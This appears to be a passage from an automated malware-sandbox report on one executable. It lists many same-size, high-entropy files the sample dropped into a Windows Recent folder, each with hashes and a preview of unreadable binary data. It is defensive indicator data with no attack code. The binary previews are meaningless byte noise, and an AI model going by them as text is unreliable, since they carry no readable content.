Preview:	FGAWOz.}.....&.WE%h.<..O.[g.!..K6.h........J..m..mE..[...y\|v.o..._...>.F.t.\|..j.b.x.I.py...7.l....p.:.-..!...hF...."_..fA..G.Na.+O...?1....K...{...h..n.{/x....b...].W[.......k. _..f.-'..c.{...{.W^.....d6z.c.\...2.ohm.V,....e0'W.....0....~.^.zt....p8.l...q....8}.Yp.}..=H^..jvVa..3.....6.`.....@H.6c\|2..a9.4.7....(.......S..RS...UL]...W....y...Us....n.au.R.Y.o.......Wt......_2ZI..[Oq.sD..y..]9......8.S.......9.y``....5.N...qH....9?.GSia.^m..D..p.^.n....\...`.,..aK@T8H....9.6.r.}^.....j..V.............=..j.1..`..!Y...dH:"...D8...8.D4..e....6q(..E.{.`.[..?.U..r:i..Q......;....%..x.=....=."....e......=b...x........z\|V@.d.}..!.Z.."....?..:.=.q>3Vc]...x.9......a..%W.2~<UH.....y\|u....>Wd....}Xvr0..7.\.....v-.B.............P.P...........t.\%[..~.Q....x.9.+.wa8>..b1UB.b...!U.$...tB.B....K......E..FS.hTH.T....&......Vj{.....!..3..t.r...D.EY..-d%..WtG..._.5.z.........]I..X.$..qDJN...'..s....#.d....g..X.v_..._...^@...3S..a(...M...:..&.a.}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GLTYDMDUST.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8569841568247325
Encrypted:	false
SSDEEP:	24:Bmw4VyXJz2qPOqsfsztu3j1ivXPzqE0swQViAlAm1u2xux3zbD:ecUWGfMQTa/8vQ0w1U3nD
MD5:	4238F48D884B9EC7B228FBFA457D0167
SHA1:	D83BC873E797E682F94AC2AC844B5412D049B5A7
SHA-256:	196D015099EB0BEB393C50E7A0F8DE631475AFD11AFC75DC36DA31E0DF77952E
SHA-512:	ED95E0CE790A6B5D06895FED89AA00AAB5EF4416C08FEE6064189E9BCB4B38AF530D66820810CF5847467653F8DA0C175A41B38DD76C7B6827A21426EB138071
Malicious:	false
Preview:	GLTYD:..)..d"......`....7....,....,.A.H..,...(..i.Y#W...X1f..X~4.J.4:t&....4(...!..en.'e...l-rcn.....j..+....Z.;d,W....#."/.(...9.+.<.{......3'9.n.n....\Q.n.......''.6.J{..%X...).i...$.+".... .e.M.hxr..in.#....L..OO.. o..=D%Y'.R....$..C4 ?G(9..Ry.a.M[Z."jB.?..I.F.].....C.Y".'......1.6..,.1....\|T`...L.p...N.u.^.......H....:.>O.J.@..V.W.'...w....y..!../LI..z.Y.N.j.v.....+fk..... ./.)..9N..D.....z....M=.x....>...f[..>..3..e..qKJ.`.t..?....)...w...5.+.@.....IO.I....o..<...D..o..w.L.G...!..\.a.......@If6...?..,2q..L.Y.E.E.. P...vt.6&H!$0\..([4...>.v..@.0pa..........c.7.0i..i..\|.!(Wm...O:~+..M.$zl.......q.u......x$h......,..1:-....8Nr..)<.s./paGr$.......L..D .W...L....d&.-.f7.DC..(.&.`\|..:..@y}6)b.!.,..T_\|.H..b...9JK..~p..1..U/...3... .'.]_...}.q...~/.f.S..K.D.P...LT..J..ve.....].k........>.I:yY-........g .!.P..W.....\|q...4...f^.w.....P\..&...KD..s...}.R;S,w%.).?.H...u@..<uu..c]...OK.K.zO.w......+.?..>BU.?..<0...-I.gg._.&...U..$.G.Y..]6:s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNJEVOXLLS.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850714176862241
Encrypted:	false
SSDEEP:	24:/9eh0G/iZS3afttLcWvvPYKdOAoRMCX4Ouv+cdfguQ7bpbX6dRPOiANvh28SPnHX:1ZG/iZS8LcWvvgKQRdXLCD27b5iRPLA6
MD5:	74A7C1186684AD5A8DB4D313ED6FD229
SHA1:	911B35BC758BE7DC9594418F253E95442410D110
SHA-256:	854624BF51179F8B64D477171B8846B3AE05014D9435664E38AA3756DE079172
SHA-512:	BC6AC1D78E9EF7C807B0FAC3B2F4C7BAE27254DF71006ACAFDEF5A4BE6876C44492F38CC4B796688EF6474B13D8E89D63EEF830B96987E631AD9CA48D6A19CFA
Malicious:	false
Preview:	GNJEV.;P1..gJ.T.w."_...q7..W.q.k..#}..m..L+n...G..${..].>...Fk_......~.;.6.i.\|.~E....!)l........r@......4.C1.'......L....L.9.........6.I..:c.+....Vsfq..^\.o...~.\|.."f8....]-.....+...e.>.qW...C.V.:g........DB..l.3.}.T.v.X@..Ef..9.@=.Z...vAG+..^..".._</../.u...s_..N....vc..2psoI..A).z....=Q8p....K%..VK....6W.l'.C..l.....P^...;(..z..U...+e.B.U....8&...@g.... fh ..3...M.C....k.^...>.7.Q...k..X.H59.(.1..6...0.<.L.."..m.?..k...9..rJ..zy.\.f.'.P"6C..0.NF.. T..#.L.oz.....DQx.....(.?.s...\G8<-md.f.....e.t...o!. ..i......\|b..z.....!..\|.1[..$.Z.~..2..b.T....S._C...Z....'..Z..[.D.D\|f...c..8..]P..2.f.y.I.....E.m..R.....K.q.FiI.q....u.5R....mlL..V7.9...k...Z..\|.Xw..1g.....1.9VcVn..{#.XE.0...\.{.6X....1.]-...h...........t.j.H.C.E,I..a.2.jT.hL'k..d.#D.t#)y.#.y.. ..Y7.-.1kVO5+...]5....S....m-n6q..3Q/8rJ.MO....6.5.I...W...H.......Vc.h0.W).'M...p.,.II...t......i...`.Q'.6f..1....J.R.>..c...*f.......QH>.0..{...=.......'.....Y.6...-..O...s....x.....M.._...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNJEVOXLLS.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8555879489692835
Encrypted:	false
SSDEEP:	24:/1+xUo0XWHWoDwjX3Uz7qwBw1yBR8kBJAQH8M2vdVWDgDRvyz6LE3zbD:tYUosW2oU73USSwFOD2vdVjDRa73nD
MD5:	23A5AB654E8DFF1497543C53953167E1
SHA1:	01C30C23F856A19722AF3D0C66A2C3DD933FC8D2
SHA-256:	D151BF94E8F6126D07A0B69C068044D8B5A60EF98D70AD3A072019A557C4BAAB
SHA-512:	6F4B5C127EE52995A730C7D41DD85E99E9B00506579F78784C9A9C93450A3CDCCB6D9934C9F20719324483B84C0852E1C64DAB91E78EAE75C3FFFD39E1626A75
Malicious:	false
Preview:	GNJEV.....S...d...l?.L..@:.S.rP.....\.C...r.W..M.8]U.&.~........Y.\G...$=P_.U.....\|...t.G.1..:YL.g....Z.H....?.6,<.E....[F.f..H....?.R.+.o...rg.D..QZ...i.Y/.h.c..N..\....'k+.iX..^.U........O........s.9..Z..8O.v....$.m2....F...m......_.3..pwX..z.7.,..#b.5...U...I.4g...9xdVJ.J.<l....N%b...........r......e.mO.....^..g,.{.....goM....o..wV...un.......k.2^.R...[pv/.B.P.S#..._.Zg.WO.#.<.........~M`....7..uf9.....\|...p..g.......zJ....3S..j...ti>#...7.^%sr..`"i...PbI...40....f..k.8.xgX....n......G.;Eo..q.9.`..B.l....;.@.=.s..X.....<.F.....@b.."..0.x+.iF.1..N.:.....tJ.ZQ..~........I...Hu..~.. e..i....W6.1/.8N@n..4.c.D ,..tB......Q..!...]G..Dx...~8.........b]G.....I[.k.y..Y....'.b`.......2..=.E.IC..E...<.......o:.$......#`............eNOf.D....3..{p.....D......rb.C.P.B.q.4....t.,p...\|\.a..=').wN>..P.J....}3.....H.1...........>G@v.T..........Vr......^..M{]........a..D.C.O.&...P.5.X...H..W=...VE.q..m...dX4Z..p+\|./%...P..l.p..F..I.X...6..c.O

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.816776608528827
Encrypted:	false
SSDEEP:	24:+Kz8rCTJji16lYU2/5cycSumYbe2UMs6XoaBP9rHgwGan7iOXeD5oF0agc8R3zbD:H8wI16lYU2ulSPYK2UgXoUcwfGOXeDAc
MD5:	C5BDDD393F210E8696E3EEEF27D66A61
SHA1:	77410148A692F94300A6A54F252C2362D6B8623C
SHA-256:	5B05090879BA147900DE2A7352BA1AEE6C7D1E693AFAF1B1E38B1A1BD2AFE4E7
SHA-512:	6889CBE09BF2FC7F3F2BAF6524CDC0F561170779C54058E148CE864CC8F545051DB46413E4DE0C0C850E5A124F697366EE134317B4AD041BEEA25E15CFD5C107
Malicious:	false
Preview:	GRXZD........'b..Z.o{...D....%.........u.I{8.X.L"y.....J\T.I..H...J..c....RS}..w....=;(f7.t..BI..$..r..F4..ZUR...37A+\~!.....I.5 j......f.h.....78}.@y.j..Gp.H$........I.$..1..v..a...Tu.@.$....%v..G..7...L..'I_....p.R.A.......[..9.].....?.Xo..^..y.h..%'$...(....{H.-;....$.=....... ..m..h1<..bA.=^.(hlH..){....dn.p.S."C.A.8...MI/..1......W`e...y..V....t5vt.qc.....K2}D.Q.a.......D......%.-....lx..uI...Rg.8\..R.~y8.oc,..X:...J...A<A....[m...4VX$..9...^..Q.R.F......v.j......-.....%SS.Kx....hd..m...+......qoG4.\|...._.(v8....g........3.'..Z.w..H......$W..1.1..XP3."..T.....t....V.N...."..1...p.C..f..[p..&.".5]1./.2..b. ~e.f`.x.'..$.._.8....}..LL..M.RF..U=3.q.4.....G \|..C.6.anE..9..y[....{..YY6+.i...:.....`.o...x.%.........$1.r.....`.#.$r?8T.2....Ec.N. .................Ad..9]K.).fD..3.K....o...Y...+.....C.uJB.t>31"..4.Or..c?..U.C/..e%.p3...k.3..>Y....[[.?....E=...?~6.QIV9.x.8&.).{...o.=l[TC.x.....R\.I.b.S......f....q..NoF.......?"u..D.&1.K...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846000836390011
Encrypted:	false
SSDEEP:	24:VJxmIG9RjcpIT9GLhoACP08OQti5/LPkYDsYb/w58jInbaZzMB2iQJSOTXsUuaF1:Veh9RjcpIT9K3Cc57hLzDsYTw5k+b0QY
MD5:	0CE246B092E3B1DE48535067CA9249E2
SHA1:	5D0AEB86727274F91081CC5ED1E4C140E17AFBDB
SHA-256:	F0103AA778797C72EF948E51A20379A15CB2AB58E682C746B6EFB7DE06D86324
SHA-512:	FCA7804F046B2F6FD26CE4292053EB8169B318569EF548192EE088F0FA2ECD76319DCE3E46EBD1C3B4A5BB38898701F64E86F975036EEA03850A1455F4DD461C
Malicious:	false
Preview:	GRXZD.>b.yA5.{.X.u........KN.e.._........h.-k.kkA.%....r....._r.Y.j#..._h\|..>^zz.N.eEa.m..^.....v;..135p...j ....$...v9..x...........X.K8.V...........5.. ...> .J. .......>G...l..U.....T...R;...#...!XQ....&.9ix.$.v1...3.z.+..P.`NE....+......y`..._r..\|.....H.e......c...z>...V...}.B..V.........?.....<Oa6.q]Me....}..L\|..i.....0.1..\.R..b...Y.U..)....8j.......N.X.i........-r.;.g.T$t(2U.\|.p.....x..eS...8...GnJ....,.Q.....yT..4.y].F..Mr}..'.(.+.....-.i..Q..t..H..X..i_.6t.~......\....R.B...Q%U.....c..'8.R..[..A...5v.x4..........,W.c....K.3.3..q..R. .z..A8U..F.......(....P.^=....o...~Q~+....5.K.@.a....3.y2<.MN....l......i...d...Ntx..T'.o3.E.>.....F..~.....9.^..kV%.g.B..U.Up.^.....8..D...]i..4...'.~..?..>..$..N.C....+d5WM..^.......h:..C......._..:.i......./..C!9K....%..W......<L6.sA.-..K2...MD......1a..e...g,}(c..$":X...=.v=..>.A.\.U......T..e.`...N...BV!.Br.L0....c4GR...f..E".....e....m...I.)D.e.....o..W.-3.:Y....M.V../..m....c

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849105671116336
Encrypted:	false
SSDEEP:	24:kgBY1g3kasJd5Y8Z1w1b5YrSoV0KFRJpN1is3zbD:nnUasBY8cR5YrSFMX/3nD
MD5:	7D1544A897474466BFCA669B902B3BC4
SHA1:	B3F760A310128F177F4FBBCA89C43D080138D14E
SHA-256:	3846CE5F8825BFD75910813312BF2725572EAD7A955E9933C6292BE68C43F660
SHA-512:	DD1EEF04E1F520DC7129CC51F6618C09F81B56546FC29F95B86F4D056B92B3A54DB89164E3B2142F1281D86DF61F2E9F5241AC1644BAFE07D855DFB5C93C0235
Malicious:	false
Preview:	HMPPS.......UQ+.NE..~oyfR......83.._[^+.j.lj.O...G...x[;.........adA.....t..Z.....ED....%.P....)..}c2E+.....b.._Fm..v`..?(CY........ ;..U>6+vl...A.....\.m...^..mp....,...S..Xo.....<8](.........`.=N.^[D'..P..b..`=..\|.yLw;0.....Fw+....(,....".p...B.L...>..<.g.\|jHPF..J.......9r.,_jC.=.N.U...A...........Qd.jNG..n.).wE.b...&r.A.....c..tf....?.....`.Q.........[._.\..`. 4...u.\J.F..<..J..H...^E..e..H...Q......pV.5,....y..../.f..1.w...\.~..5^.........A...~.....\|.d.k.3.c....o.p..52_S.v.p.......<.......$.;..C\|R.'..Te...W.C.x..D...B+QO...KK;z.D$.0.z.G..m.....T.U..Q....Q.n.9,#.$.'.S2."....3O....{.x].b.....;R3.........6.......gO`..3."b..Qc.......0.x..E...o.Yx.)..m..D...$.b..4. .a.E.S.;.6.!.b..".9.K.\|..N.+....1.....e+Od.....8.`.V.../...qg.z..b..@..:...1].f.M....0...AM%.....j..S~...C.M.2...M..X..5....M($=....<4....K2.`k5..M...` ..s.@...=9...R.......E.....e.QG..A....U"`3........8.^.....z..d...(.k.....E..........._d..-..Mn..(p....u.e.z.."

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JUSNIGKAJT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8240119126881
Encrypted:	false
SSDEEP:	24:bqK5cdqW+U+gcBdxaO50A45ELWxVYgy5xrAXbkoeAhf6CsuL3iDdPj6v3zbD:eKy3+tBWO+SQV7YLvAhf6CtWDN6v3nD
MD5:	36A9D25986B72C782D41AD7A19D7771B
SHA1:	73A7025950FD9525EAF4D6CA7D0AD3416E434F84
SHA-256:	BB9F5F78BFB55C0BC076A8C558E706639DEA717F6030C876C209F00B3643B993
SHA-512:	11FBD3CA592470BA45343FFC2EA225286EEB8B7D03957A5062980CEEC5B5804242758FEFD45F5A5ABB0C42C4573A7854C51FFABC1E1B3BA3A04D6CE1BA959114
Malicious:	false
Preview:	JUSNI/..?..<.S...uS.tA.y...-.%.,.y.PP.y9E...;.:%..X...7.;...s:......".^.t..;...1.ht..(SU....B..st...T.....y30v....Z.5.u.....?.Y...m?9.)~.(.....L.A...4]a.....0....Q.AO"2 u.J..G*.....f.L4.`..B.s.....e.....Y....@{..F...U....r.n.o4.U.KE.2...../...2....]5..y.s..T-.k..xn.&.Fx.)....O. ...:.E#.&...F!~Z.+ ...'J.5.......]....d.4<.P.T....\|.{...!.h..{.&..D-..\9K..Q.....I..).4..~..\.SBo...P...$..6{..y..Z....4.' .....W.2..........\|...aX1....cZU...m.9...d...[...E6ZuN..3.n.Jvo.-79o/.!R.A...l.4!4$....F..AbN..x..l...gy.D...>^..m...h..IC.v.B..tT..a..r......&...0..y..........ck)...C]..cD.Rt.l...z\|..5.$.mDO...3>?s.y.r.W?)9.Y?.@.t.].u.....,\|.R@...h..^.....e......t....f.g..3..G.gB..!.J..92.....,.W..4......".4..;X...Uz..0....$c.vFG......D.%..D..1..TP...K.!>+h.:...9.=.F,[r.... .@.P...rv.R....eS.}A...zC.5.{........Q.._...\.'....P0........L.g\|>8 ?2<9Q.......u...[]...fu.I6..s.{\|....z..)+E.....:@.J.FT...Kp..P.\|.i.{..Yi.-.$:...kkuW..2...j.\.....r2.s......>_...n...q.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854616830881616
Encrypted:	false
SSDEEP:	24:bgHjNtMcQ+bbKkojewoME1fDCUQpAiQhbiVDrNPE0dyTXA03zbD:sHj00f5M4fDCUQHwiFrN8oy7A03nD
MD5:	20937B907B9900E555BCB93B3FC9411E
SHA1:	804BB9D73F9FFE1C77A58485F4C618FD0FC0AC14
SHA-256:	31B33AFA667B46820175F3A20D275E289FBF4412F0310665578E4B920E6A7516
SHA-512:	015A50DF1FB44F9FDFB3057A60A9923F06952FEA81A571A4B86D799DB36D1E3C58BF441B21C18B25572360A0F33DC5B37FF66273A6360BECED9DD254296D959B
Malicious:	false
Preview:	KLIZU.\....e0:......tC..~R2....D.?...b...+........X.A.c.@...F...a._...SOM...:..8..[........O..i.L.....L...w..vR,.LUk].L...K.[...'..\|R....,F.g....sPo...%...w.a.._'. .".#..w6.M@p..._...4.6v.S."Q$..{.w=BKdN#..}..n.M..eT..'.....v..].\|...Z.d.e..2!...2...C.G..U../N..f!..q.Zr;q.M.B.F.X,_5b....dI..z..hh.....t.].k.>'?..7..y......\|...k.^.$./...n....-....A1.q.V2..b~...H....`.Z".K...w.(<u..K..%`.....2.+?L&..O.-Z ...M.K..ho.....?..Rf.......8...R..o=..F.....x..l...a.h.x......>.'\..z.`.0..vC..rMV...S...VlR......z..^.........\..6.g.oO...)U..ok.,;.mf.....$......T..t..%...,b.;{....dk.3..k..`X.L.W.t..{.}_...9}.,x....I1.#...<&?.....R.3.f...WY...dO.o.#...+..b..T.."..R..AT.J.FN=..W..^n&.e.6h..,.......k(]...A.YAc./.p.&.}q.y..Z.....i.#..d.O...M.....+...tP\....C..#.....s..........5u.i...........A.fZ..!{]US.,Vp.._-....j2..3..k..y(x.<.A9\|.^.8....;.....n;.a....:.....X..P.5.....X..".4....Ux....&IoP.....#Z...H#M...1>.u...+.M/h...KE.F...XS....h...4.............S0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832202558674084
Encrypted:	false
SSDEEP:	24:bWDiNqVUNncQLc7oK8v262CLMLzcwuIehcguUOjUXPm0UbrHTBTx8imTfA3zbD:wiNcUqQgf1Ps4z5b/VQXu0UbwfA3nD
MD5:	900BB60785B72F801D1EE1CB6B37EAEC
SHA1:	0C9F28A21444D6CDC80348522DCB03CDECD5E40F
SHA-256:	51C3535DAAA282A3FC46FA96D7E64B71CDBA7E1554E21324A51E468BAD782A42
SHA-512:	675F0B46EFBD9C9C126F71B069CFB68C46A8CA11881DE0D11BC7C446E225E43433A18B399C0FBDFA33F4225A3F18420AE0EA40B1F924D65A4213C247F69A1F5B
Malicious:	false
Preview:	KLIZUHs.DDE...e+0...].zQ.9\|.w.....a...sy.....!.4.4..{.......}..A#f.@.}.U..>.-...F.....L$..?2.....-.]I...t...&e2.V{.-^....B.i..A.....i...Ud...(.>K&1D.....X..W.:0...u1.8t...D...x.#.-x..g.....v$.....d..`...d.NT..qk..}.Dz%./.n4....#.}.q >..%.,B."^..e..Qo>(u..B99P....r6../...E......H...9...h.[...V.a....J...`.G..e.e.]@._._...A...p.AOe..:.T .=.u.N<N....3..s...\....@#._....<.b....`{<._XS....u,...q;.a.To.lX.vD........<.a)E.%.-[..I.......E...vx.j.?a.Qj_K.<aI....U...x8@.N.l..L#..S/.r......N.OG..`;...... ....W.>...~...}.PQ.>c..2......{.....}U%m..>......=U....%..F.B.L....Z.`..hp.->>pi.......n.}.U8.>Q6.QD[..Y...@9...38.c......',.T8.^..r......m.N....n...p.@........n.QO...)..\|.#2..VIB....~........Pp...@<.M.6.....S.<..5\..#...~U...0#....twzage.3;w.....,....^.1+z..T..@@\..r...T$[a.....1#.?MC=..R...l.@+.A......x....7.[...t..uT..~..q...a..{....$.\..2..p.y.......X....G.p..!.;...*..aK.h`X..7..2...l..rS...#..0l4.g ....t....cO.(..?e.y.rF..I..9..Pp0...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85908935026576
Encrypted:	false
SSDEEP:	24:bKMVKuwCU70BM+lzviAOI6PUntcXX2yqcSZXxXOorKrQiOv1LdnrpvOzw+ULKHHT:eQ3+Cz6dr7qtxMQiOv1BGQLAH3nD
MD5:	C5CDA201173E304A388DC0A64D7B8E4E
SHA1:	200058C53BDA0A71C2B791327B182174B52BB8C5
SHA-256:	8D22C6DF30B5A2078A02AFDADF6D238FC3DA3A593DDB51F4888132AC981E5CD8
SHA-512:	34FDF29976D601969F3781AA374E9C40706DBC75C8740E2439D0085A2B673C9A52A670E23BFAAA5904A5F0984FF23128319F0144DED8472CC21BA418B85C5F64
Malicious:	false
Preview:	KLIZU..3.DN"..j .._..B.K...>:.T....t3.E.r.h,k..n:...m....]..{....._...P.....x..No.....el{M..0.~.cS......@..'sx..%...M..Ea.H....E4E..Z....8..?r9..u?m.6.("..oP.9...U..>h..?..go.............t..~.F..+.X..8+.m....)..'....%,..3}..d.=..g.......&.2.=4lj.T..._.B..V'5f\.8....b.........s9.X....]31.w.[H...XQLX.-;..(_C%...H.u..c8...G..5....i_...QG....pIi.D.,c....i...F.<.S.....p.6...`K....=~.Nf.C..jC.k..V..{...?7K.A.ce..9.r.V.o....w..].O.G..2...e..!..uM..yi.O.U3..+..s_.C..o>.i...h..:.a...H...NXT-M.~....../8.....+<.m ...;.G.!....9/...dX.X......<......j..(.........D.K...\[~OQ..F......ty.P..cQ..F,...w+...}A..!......w.D............D....m'.ny.../s............0...,..`...?.Of.....?n.:abC:.Ih5..Y,..nl.Z.;....e.}R.._.O.m..X7~p..aH.:m.y.BS.A.i'.5.1..$.&...-o,....Sq?...+F{..A......-..2k\|.;....X.^.i.7tLF..'.!.I..W......R..s".....M._.G....&.Femu._`J'(b.9....b.Uo....b.SF..c.J8..Xj..!..G.s.A.,...sv)...#.w...~...rl......%...tu....}.C...n...&t....9.[...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LCMFMMJDAC.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852311737046336
Encrypted:	false
SSDEEP:	24:d/2/Z1cc/OqOtJO7TPx7++pY8eLgQdt6NxxrnRwHCaFZH71zOByt8p63zbD:9iZ1cc/TOtJO7V7I8e/6NrnWjFZH7kkZ
MD5:	0A203204D91ADE190A7694ED1409FC48
SHA1:	C0595898B1DB2650F787D7F4396CF7E6704F0B5A
SHA-256:	8CEB660816F9098B4683B19C27DB561696321CE4FA6421D24D881C63996CC3E4
SHA-512:	292156AB4D07304C95719BCA0C83AA2E67EEF96ACBFBB51B1D6937C2BE87348F1ADAA5AFC1740A0277A91749C6AE0B6E22FFB8EAEB5095B3B566FB607B4CEBF3
Malicious:	false
Preview:	LCMFMT..o.^.P-L.6.Si.....t..X..G.-A(...;./j....ZF._\E.-.....n.K$.(.x.enM.S.#.3..3.>.BA....sk...#.D..J..a..O....-...k.5(...g...X.j.8{.$...'.f......4.KV....(......G.60AN....{NmOf...0..W......%.GL.......e...@..3s..p._.+N..d..T.'...6.z.F.=v ;.1...$5O.S.s/...........h..r..X.=.'}...2...iDjm...x.3W..X.tFX....za8.L.;.n-..{.JG.+.8...x.....j .`.J.-..(Z.....E.ij(...h..$.F.5".RI$$.uC.C0.....l.eV..\|[.U.{.P...A........[...M}....V=..}j+.7.zr.S{L.U....(.._.F.V..t.....K.A.WeX....r...."Y.......B... ..\|Y&.=...g0..l"(!..E.o.-."Qv......\S+\.z.<.8........gk.!j...DU+B.A5V.).EY.....#Eu......u..&&;.......w>,...N.=.P7.^ad..n...[..f..B..c...l....-....<.7p..._U.+..l)S..e?.\|....w.c2.P....S.'n.Rfk.=.%qyc..(\|.2..U..1.q..X..Z^Td..p!.. ...]..F..B...gB.....\|.6k......&)I.../`.4./....s-......u...B...B.]YEQSB.Mm..nU......B.z...$.......3...)..l.VY7..bE....7.b.P.......+.....UbBO.......8....../.. +.\|.Yi .T..b....]..b..3%....04...g9.$..t.d.......la......9..,4_...>..ZJ.L.. ....~.4..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MDCSJYRUNJ.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853461111913644
Encrypted:	false
SSDEEP:	24:jDApUE0XrJv5MlS2Bx9PVWnwsA6N9sUseMjMnmHc30qCuzSjogMkKuC+oFyHh3zX:/U07JRy1PVWnw6NZ5mqCuek8OUh3nD
MD5:	238EFF0675D9C7D9C1AACEF17398EAD0
SHA1:	FDE1F8B3E6C243E2570EFFDA44A1AF8052892CFE
SHA-256:	DDA10CB0DA2D668859E245293C8A09393B9D957BE66F8A3F9D7641A9B2E429BF
SHA-512:	8234C9CEDC5CCBF7FCA0400E4898235AE1EE024DA3F7EE8D4BA32DC31B46E5DC7A6053A7861D2911F9BA68697814FCBFCA850072FFAA8A16CBFD052818D238D0
Malicious:	false
Preview:	MDCSJ.d.. .z.K.]....,.9...R.y.....)....]...2l...l.J.A.O...c.2..$. ..I.lf9x..r;.C.......>.z..T.zN.:].)...:Tk.f.Y...43.}l..7...d..V...g#0.o.w..>g\|q........A...........\|.\|D@.......07....\....Q4.`..9..n..\.....'..-....qI...&...Z).<h..[<X.............._<.?.f..8......5.6....f6.....'..T..k}...........=s..@D...d...O.h....k3."QK'.Pm4.(..CRW.....~.\|.....0..g...p?..8..Ke..g)j...c....7oR7.. e,?g1....s...Lz..#.7.W.!Z...S.........{.l.].+r.[.....U.X....Y@=..z. .ee\|..u.._>.u.e..`H..i.'.$.V..f..KR..Rd...'X.y"....^^.;N.............=3...(.&...:q-.;..U7NO{...4;.9..!.....2a.jq$9..........E...l])..N.....%....C...%..z.......l...S&:../.]<......7e.FJ.M..4.. ......nC..K.[..$...5..r....K.L...M..&.......{......l..{......).g.^&].......Z7.E..2.Y.n\...$IB.Q....#.J..AUq~../......9x...'./.../...u...V.w.y.j.l...`..@Dzdl...$hz..\|5R<O..qQ...e...1 ..n.ctr!..(.{I.{b.....RP.#.......z.....p..>.....E.D...+t..q..P...1....!!..ca.\B.6.czxN..o.4.T.{....~.&...]..GH..t...U.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846236352407675
Encrypted:	false
SSDEEP:	24:uFSya4m4obx/Re4hgIsPpZYOwph1NpNpYDFnF0DsEvmBBF93zbD:kafDw83v1NpNKR+DsZj3nD
MD5:	21B3BBA1F8F56360C6C618125F741C8B
SHA1:	0814AA4100325A8E432F98F37858734375B0D57D
SHA-256:	94C8F9B64F82EB218BAA87F7E120BA3C943E349B6B4E9759500830410C88259F
SHA-512:	91D81D780203866DC7A844E7DF09E4D6C444FF280183362B134F5EB565AD953B26666FC6DE35B738E46423B1F95793849830F942A39E5965456BFA27C6A03126
Malicious:	false
